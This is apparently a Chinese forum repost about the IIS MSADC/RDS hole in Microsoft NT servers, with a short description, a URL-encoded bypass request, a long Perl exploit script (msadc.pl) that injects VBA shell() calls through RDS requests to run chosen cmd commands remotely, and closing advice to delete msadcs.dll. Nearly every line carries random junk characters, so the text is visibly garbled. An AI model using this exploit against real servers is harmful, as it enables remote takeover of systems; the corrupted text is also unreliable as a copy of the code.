IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
DbIn3/WNe lv=rL 涉及程序:
=(cfo_B@K Microsoft NT server
7(W"NF{r snm1EPj 描述:
r 1x2) 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
$FM:8^ A]_5O8<buW 详细:
G%#M17 如果你没有时间读详细内容的话,就删除:
/ho7O/aAa c:\Program Files\Common Files\System\Msadc\msadcs.dll
;T,`m^@zf 有关的安全问题就没有了。
Sz'H{?" :5,
k64'D 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
1[k.apn *MM8\p_PuT 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
OS]FGD3a 关于利用ODBC远程漏洞的描述,请参看:
W#sCvI@ jM'(Qa
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm vZJu=t 1 LUvs~Qu 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Y0Bd[ http://www.microsoft.com/security/bulletins/MS99-025faq.asp RJ0:O k,0lA#> 这里不再论述。
.;,` bH0 g* DBW, 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
NS3qNj
1k dQh&~G /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
1h,m 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
oa
q!<lI dm`:']? U0fr\kM #将下面这段保存为txt文件,然后: "perl -x 文件名"
5kdh!qy[$, I\WBPI #!perl
tuIQiWHbM #
<#>{7" } # MSADC/RDS 'usage' (aka exploit) script
8d|#W #
+txHj(Y` # by rain.forest.puppy
W%_Cda5, #
>V|KS(}s # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
'eDV-cB # beta test and find errors!
%RD%AliO}K ]7:*A7/!. use Socket; use Getopt::Std;
+
X0db getopts("e:vd:h:XR", \%args);
-hpC8YS 0Ma3 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
KnxK9 sB+
B,DF if (!defined $args{h} && !defined $args{R}) {
Y'eE({)<K print qq~
s_RUb Usage: msadc.pl -h <host> { -d <delay> -X -v }
C
$*#<<G -h <host> = host you want to scan (ip or domain)
V:*6R/Ft -d <seconds> = delay between calls, default 1 second
w3E#v&"=Y -X = dump Index Server path table, if available
k+;XQEH -v = verbose
P&.-c _ -e = external dictionary file for step 5
T'${*NVn wG}Rh, Or a -R will resume a command session
Q=n2frW(T Lxqv ~; exit;}
k?VH4yA .z}*!
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Uxb>)36I if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
dQ`=CIr if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
O;H|nW} if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
r$<4_* $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
rfHAz if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
("txj[v-/ -]!zj#& if (!defined $args{R}){ $ret = &has_msadc;
2Mw^EjR die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
CEEAyip-c Qf.]Mw?Bm print "Please type the NT commandline you want to run (cmd /c assumed):\n"
3#Qek2 . "cmd /c ";
uB>OS1= $in=<STDIN>; chomp $in;
6X[Mn2wYW $command="cmd /c " . $in ;
c#<p44>U <&MY/vV if (defined $args{R}) {&load; exit;}
F*J@OY8i z(
^
r print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
8/BWe
;4 &try_btcustmr;
!63]t?QXMG owKOH{otf print "\nStep 2: Trying to make our own DSN...";
&E0L 2gbI &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Q1^kU0M } v)s;
wD print "\nStep 3: Trying known DSNs...";
cVuT|b^ &known_dsn;
9`Zwa_Tni Z>(K|3_ print "\nStep 4: Trying known .mdbs...";
j7sRmQCl &known_mdb;
@D+2dT0[M W+`T:Mgh if (defined $args{e}){
$c1xh. print "\nStep 5: Trying dictionary of DSN names...";
=kDh: &u% &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
+Vw]DLWR Y |'}VU print "Sorry Charley...maybe next time?\n";
6O|
rI>D exit;
CA]u3bf~ Cu`ty] -' ##############################################################################
GB8>R YLehY sub sendraw { # ripped and modded from whisker
T))F
r: sleep($delay); # it's a DoS on the server! At least on mine...
K6G+sBw[ my ($pstr)=@_;
Qa@]
sWcM socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
m
^'! die("Socket problems\n");
=BroH\ if(connect(S,pack "SnA4x8",2,80,$target)){
aK5O0` select(S); $|=1;
<}('w/ print $pstr; my @in=<S>;
b/6!>qMMk% select(STDOUT); close(S);
4o,G[Cf_ return @in;
vTq
[Xe" } else { die("Can't connect...\n"); }}
Ux+UcBKm- Kw87 0n< ##############################################################################
Y0xn}:%K ?~=5x sub make_header { # make the HTTP request
HC(7,3 my $msadc=<<EOT
<Wa7$ h F POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
YlJ_$Q[ User-Agent: ACTIVEDATA
Ngw/H)<c Host: $ip
Apbgm[m|{ Content-Length: $clen
RhD Connection: Keep-Alive
>bbvQb+j P&5kO;ia ADCClientVersion:01.06
I~)A!vp Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
n#"N"6s ,KFF[z --!ADM!ROX!YOUR!WORLD!
fX{Xw0
Content-Type: application/x-varg
f?W" ^6Df Content-Length: $reqlen
5KC
Zg'h *_H^]wNJG EOT
aK?PK }@ ; $msadc=~s/\n/\r\n/g;
ykD-L^} return $msadc;}
4`'V%)M 0P^&{ek+) ##############################################################################
Qv;q*4_ M%v 6NxN sub make_req { # make the RDS request
wuKr9W9Xa my ($switch, $p1, $p2)=@_;
> K s. my $req=""; my $t1, $t2, $query, $dsn;
tNC;CP#R+ ^7iP!-w/ if ($switch==1){ # this is the btcustmr.mdb query
^Fg!.X_ $query="Select * from Customers where City=" . make_shell();
oz&RNB.K $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
:@#6]W $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
OCv,EZ 3='Kii=LA elsif ($switch==2){ # this is general make table query
eZMfn$McJv $query="create table AZZ (B int, C varchar(10))";
+O!4~k^ $dsn="$p1";}
8Az|SJ< +6Ye'IOG elsif ($switch==3){ # this is general exploit table query
9" cyZO $query="select * from AZZ where C=" . make_shell();
a
Ju v{ $dsn="$p1";}
9O|k|FD yII+#?D elsif ($switch==4){ # attempt to hork file info from index server
V@pUU~6R $query="select path from scope()";
nQ08(8 $dsn="Provider=MSIDXS;";}
N4$ K{ }S 6h1X elsif ($switch==5){ # bad query
P asVfC@ $query="select";
{-1N@*K $dsn="$p1";}
'H-hp
("P]bU+'> $t1= make_unicode($query);
3T~DeqAyw $t2= make_unicode($dsn);
c!]Q0ib6 $req = "\x02\x00\x03\x00";
>6Ody<JPHP $req.= "\x08\x00" . pack ("S1", length($t1));
q_z ;kCHM $req.= "\x00\x00" . $t1 ;
=h,J!0Y $req.= "\x08\x00" . pack ("S1", length($t2));
BY>]6SrP $req.= "\x00\x00" . $t2 ;
hUe\sv!x? $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
L3Ivm: return $req;}
vY);7 3v>w$6 ##############################################################################
ih(A l<IS =F/ EzS sub make_shell { # this makes the shell() statement
/5y _ < return "'|shell(\"$command\")|'";}
V>& 1;n .s\_H, ##############################################################################
J6gn! B_S))3
sub make_unicode { # quick little function to convert to unicode
[i8Ju my ($in)=@_; my $out;
0.0r?T for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
He1~27+99 return $out;}
}gKY_e3 ZwMd 22 ##############################################################################
cK\'D aEn*vun sub rdo_success { # checks for RDO return success (this is kludge)
;^cMP1SH my (@in) = @_; my $base=content_start(@in);
g1I8_!}~ if($in[$base]=~/multipart\/mixed/){
SXx4^X return 1 if( $in[$base+10]=~/^\x09\x00/ );}
vDCbD#.6 return 0;}
;E0x#JUrw &Xi]0\M) ##############################################################################
J~)JsAXAI 7ea%mg\ sub make_dsn { # this makes a DSN for us
Q}|0 my @drives=("c","d","e","f");
%lGT|XrY print "\nMaking DSN: ";
85BB{T; foreach $drive (@drives) {
V$bq|r print "$drive: ";
/$^SiE+N my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
5MK.>3fE "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
.p%V]Ka . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
F&HvSt}l5 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
wcW7k(+0 return 0 if $2 eq "404"; # not found/doesn't exist
pV*d"~T if($2 eq "200") {
#g~]2x foreach $line (@results) {
kH?PEA! \ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
9Us'Q{CD } return 0;}
4iY
<7l8 .&.L@CRH ##############################################################################
^ #3,*(S e#@u&+K/f sub verify_exists {
RmQ>.? my ($page)=@_;
j-v/;7s/B my @results=sendraw("GET $page HTTP/1.0\n\n");
*~^%s+b return $results[0];}
\zzPsnFIg 3v3`d+;& ##############################################################################
n<Ki.;-ZE U["IXR# sub try_btcustmr {
+/rh8? my @drives=("c","d","e","f");
R)Dh; XA my @dirs=("winnt","winnt35","winnt351","win","windows");
%>t4ib_8 :Yn{:%p foreach $dir (@dirs) {
~R7{gCqdr print "$dir -> "; # fun status so you can see progress
$E^*^({ foreach $drive (@drives) {
FYH^axpp print "$drive: "; # ditto
;Bat--K7+ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
v1$}JX $reqlenlen=length( "$reqlen" );
:<uCi\9( $clen= 206 + $reqlenlen + $reqlen;
LG'1^W{a j6Au<P my @results=sendraw(make_header() . make_req(1,$drive,$dir));
/UtSZ( if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
]0g1P-&,U else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
qot{#tk
d w[J.?v&^ ##############################################################################
:AyZe7:(D <Ys7`e6eY sub odbc_error {
cq9d;~q my (@in)=@_; my $base;
:fQN_*B4@4 my $base = content_start(@in);
Fl++rUT if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
4|NcWpaV7 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
0$|wj^?U $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
soqnr"
1 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
#!4`t]E<
return $in[$base+4].$in[$base+5].$in[$base+6];}
Mm%b8#Fe! print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
xI8v'[3 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
hroRDD $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
F8B:P7I j2 jUrl ##############################################################################
uKo4nXVtp mWuhXY^Q sub verbose {
;(IAhWE?7 my ($in)=@_;
=h}PL22 return if !$verbose;
A&_v:z4y/ print STDOUT "\n$in\n";}
Pcr;+'q 9 'IDbe{ ##############################################################################
^@]yiED{g ;h#CT#R2 sub save {
M \>5" ,0 my ($p1, $p2, $p3, $p4)=@_;
`7'=~BP?X open(OUT, ">rds.save") || print "Problem saving parameters...\n";
dfs1BV' print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Dm`gzGl close OUT;}
i>;6Z s>S C12y_E8Un ##############################################################################
D 66!C{ rm,h\ sub load {
;
. hTfxE0 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
@4jPaqa( open(IN,"<rds.save") || die("Couldn't open rds.save\n");
b<KKF ' @p=<IN>; close(IN);
PAu/iqCH $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
QM'>)!8 $target= inet_aton($ip) || die("inet_aton problems");
1 w9Aoc print "Resuming to $ip ...";
g'V,K\TG $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
EZ^M?awB4 if($p[1]==1) {
4'XCO+i# $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
h3;RVtS $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Wl3fR[@3Q my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
; T WYO if (rdo_success(@results)){print "Success!\n";}
1JN/oq; else { print "failed\n"; verbose(odbc_error(@results));}}
k)JwCt.% elsif ($p[1]==3){
#K/#-S if(run_query("$p[3]")){
Y'o.`':\~ print "Success!\n";} else { print "failed\n"; }}
iD2>-yf elsif ($p[1]==4){
(rSBzM]H if(run_query($drvst . "$p[3]")){
6d YUMqQ print "Success!\n"; } else { print "failed\n"; }}
@m"P_1`* exit;}
>{juw&Uu J+*n}He, ##############################################################################
8C2!Wwz`J8 VB{G%!} sub create_table {
5va ;Ol4 my ($in)=@_;
=eG:Scoug? $reqlen=length( make_req(2,$in,"") ) - 28;
Q3x.qz $reqlenlen=length( "$reqlen" );
[RHji47 $clen= 206 + $reqlenlen + $reqlen;
YCNpJGM my @results=sendraw(make_header() . make_req(2,$in,""));
XwdehyPhT2 return 1 if rdo_success(@results);
H/O v8| my $temp= odbc_error(@results); verbose($temp);
eh$T
3_#q return 1 if $temp=~/Table 'AZZ' already exists/;
P4~C0z return 0;}
8 9f{8B]z mKBPIQ+ZS ##############################################################################
1PT0<C- 3(La)|k sub known_dsn {
_95`w9 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
>HQ<KFA my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
y?{YQ)fj "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
PWs=0.Wj "banner", "banners", "ads", "ADCDemo", "ADCTest");
5[$jrG\! >]WQ1E[= foreach $dSn (@dsns) {
z=VL|Du1OT print ".";
h:'wtn@l( next if (!is_access("DSN=$dSn"));
o^~KAB7 if(create_table("DSN=$dSn")){
u<
.N\/ print "$dSn successful\n";
4gK_'b6" if(run_query("DSN=$dSn")){
04R-} print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
C?%Oi:Gi& print "Something's borked. Use verbose next time\n";}}} print "\n";}
=%oKYQ j0[9Cj^%c ##############################################################################
RDQK_Ef: A+F@JpV sub is_access {
8Wyv!tL my ($in)=@_;
I;Bci m; $reqlen=length( make_req(5,$in,"") ) - 28;
OAtn.LU $reqlenlen=length( "$reqlen" );
Tta+qjr $clen= 206 + $reqlenlen + $reqlen;
@60/IE{-v my @results=sendraw(make_header() . make_req(5,$in,""));
-m>ng
E~q my $temp= odbc_error(@results);
wmG[*a_H verbose($temp); return 1 if ($temp=~/Microsoft Access/);
x$aFJCL return 0;}
/|{~GD +A& Po82nKAh ##############################################################################
.(2ui~ed _ ?Z :m sub run_query {
!RwOUCk
my ($in)=@_;
C8.MoFfhe $reqlen=length( make_req(3,$in,"") ) - 28;
=qVD"Z]z $reqlenlen=length( "$reqlen" );
Qz/1^xy $clen= 206 + $reqlenlen + $reqlen;
' fP`ET5 my @results=sendraw(make_header() . make_req(3,$in,""));
0CRk&_ht return 1 if rdo_success(@results);
Se
%"C& my $temp= odbc_error(@results); verbose($temp);
ZtqN8$[6n return 0;}
^{Y9!R*9U* 0|_d{/VK4 ##############################################################################
ar|!iU E`>u*D$un~ sub known_mdb {
DnW*q/=w my @drives=("c","d","e","f","g");
_m|Tr*i8 my @dirs=("winnt","winnt35","winnt351","win","windows");
$N)b6(}F10 my $dir, $drive, $mdb;
O*7`Waag my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
O<?z\yBtS^ -|~tZuf # this is sparse, because I don't know of many
,BG
L|5?3z my @sysmdbs=( "\\catroot\\icatalog.mdb",
|cUBS)[)X "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
iZ-"l3)D "\\system32\\certmdb.mdb",
)$e_CJ}9e "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
fbK`A?5K LdM9k( my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
F[5\
x0 "\\cfusion\\cfapps\\forums\\forums_.mdb",
vtVc^j4 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
b^]@8I[M "\\cfusion\\cfapps\\security\\realm_.mdb",
/DBldL7yi "\\cfusion\\cfapps\\security\\data\\realm.mdb",
$q~:%pQv "\\cfusion\\database\\cfexamples.mdb",
Gt;59} "\\cfusion\\database\\cfsnippets.mdb",
1ti4 ZM "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
3A.T_mGCs "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
{y
k0Zef_ "\\cfusion\\brighttiger\\database\\cleam.mdb",
jh&WL "\\cfusion\\database\\smpolicy.mdb",
L
H`z '7&/ "\\cfusion\\database\cypress.mdb",
u$?t |Ll "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
i'bUX=JK "\\website\\cgi-win\\dbsample.mdb",
9n#Em "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
![*7HE>}, "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
J#^oUq ); #these are just
i+HHOT foreach $drive (@drives) {
x<%V&<z1g foreach $dir (@dirs){
Lk~aMbw# foreach $mdb (@sysmdbs) {
}\Mmp+< print ".";
>'X[*:Cx if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
/
!*+9+h print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
`upxM0gc if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
<..|:0Q&~ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
oj1,DU } else { print "Something's borked. Use verbose next time\n"; }}}}}
E}WO?xxv74 $m-rn'Q foreach $drive (@drives) {
h!L6NS_Q, foreach $mdb (@mdbs) {
zU)Ib<$ print ".";
$M=W`E[g if(create_table($drv . $drive . $dir . $mdb)){
{)8!> K%G print "\n" . $drive . $dir . $mdb . " successful\n";
]FLi^}ct if(run_query($drv . $drive . $dir . $mdb)){
CUR70[pB) print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
.\X;VWTI } else { print "Something's borked. Use verbose next time\n"; }}}}
It/IDPx4ga }
!w9w{dtW= LiF(#OuZ ##############################################################################
8XUm.nV N=oWIK<;- sub hork_idx {
`:I<Jp print "\nAttempting to dump Index Server tables...\n";
f2y:K6$'l* print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
k7gm)}RKcu $reqlen=length( make_req(4,"","") ) - 28;
RvPC7,vh $reqlenlen=length( "$reqlen" );
9a*}&fL[ $clen= 206 + $reqlenlen + $reqlen;
@N-P[.qL" my @results=sendraw2(make_header() . make_req(4,"",""));
^<}eONa if (rdo_success(@results)){
/M1 / my $max=@results; my $c; my %d;
NJ;D Qv for($c=19; $c<$max; $c++){
u`]J]gE $results[$c]=~s/\x00//g;
7O,y%NWaK $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
}RvP*i $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
@l:o0(!W $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
^U`Bj*"2 $d{"$1$2"}="";}
[;F%6MPK^ foreach $c (keys %d){ print "$c\n"; }
0"V L6$ } else {print "Index server doesn't seem to be installed.\n"; }}
}smPP* cN5,\I. ##############################################################################
9y~5@/32R nKzS2u=:Y sub dsn_dict {
@,Iyn<v{B open(IN, "<$args{e}") || die("Can't open external dictionary\n");
`bJ+r)+5 while(<IN>){
& bwhD.:= $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
tX$v)O| next if (!is_access("DSN=$dSn"));
|Ts|>"F' if(create_table("DSN=$dSn")){
{iI"Lt print "$dSn successful\n";
X7*i-v@ if(run_query("DSN=$dSn")){
: ;nvqb d print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
U;7Cmti" print "Something's borked. Use verbose next time\n";}}}
K6=i\ print "\n"; close(IN);}
{v,O ue5C
] ##############################################################################
E26 zw9d nYcj6? sub sendraw2 { # ripped and modded from whisker
z|o7k;raH sleep($delay); # it's a DoS on the server! At least on mine...
fU )@Lj1Wo my ($pstr)=@_;
#]iSh(|8 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
6 Ch
[!=p{ die("Socket problems\n");
DO #!ce if(connect(S,pack "SnA4x8",2,80,$target)){
(Mk9##R# print "Connected. Getting data";
ky`xBO= open(OUT,">raw.out"); my @in;
DaV:Slp9 select(S); $|=1; print $pstr;
W]]@pbG"H\ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
"lFS{7 close(OUT); select(STDOUT); close(S); return @in;
Vg6/ 1I } else { die("Can't connect...\n"); }}
%V +hm5Q <Oi65O_X ##############################################################################
p6MjVu c /G4@D> sub content_start { # this will take in the server headers
7Z#r9Vr my (@in)=@_; my $c;
O]>FNsh ! for ($c=1;$c<500;$c++) {
LovVJ^TD0i if($in[$c] =~/^\x0d\x0a/){
^Lx(if
WJ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
_NfdJ=[Xh else { return $c+1; }}}
\lJCBb+k return -1;} # it should never get here actually
w&vZ$n-| mM> L0 ##############################################################################
5@Y rtZI h& t/
L sub funky {
@2LpI*]C my (@in)=@_; my $error=odbc_error(@in);
s\)0f_I if($error=~/ADO could not find the specified provider/){
zPonG
d1 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
HinPO exit;}
aDV~T24 if($error=~/A Handler is required/){
)Oxsasn)M print "\nServer has custom handler filters (they most likely are patched)\n";
e;M#MkP7 exit;}
8QYP\7}o if($error=~/specified Handler has denied Access/){
jf`QoK print "\nServer has custom handler filters (they most likely are patched)\n";
)(?,1>k`Z exit;}}
jvI!BZ M@k8;_5 ##############################################################################
;.O#|Z[ xnuu#@f sub has_msadc {
e
ej: my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
lo1<t<w` my $base=content_start(@results);
Z%Kkh2-uh return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
_(U|Kpi return 0;}
^V1 .Y (R.l{(A ########################
o =oXL2} S,ENbP%0r |XDbf3^6 解决方案:
E%[2NsOM] 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
X]Aobtz 2、移除web 目录: /msadc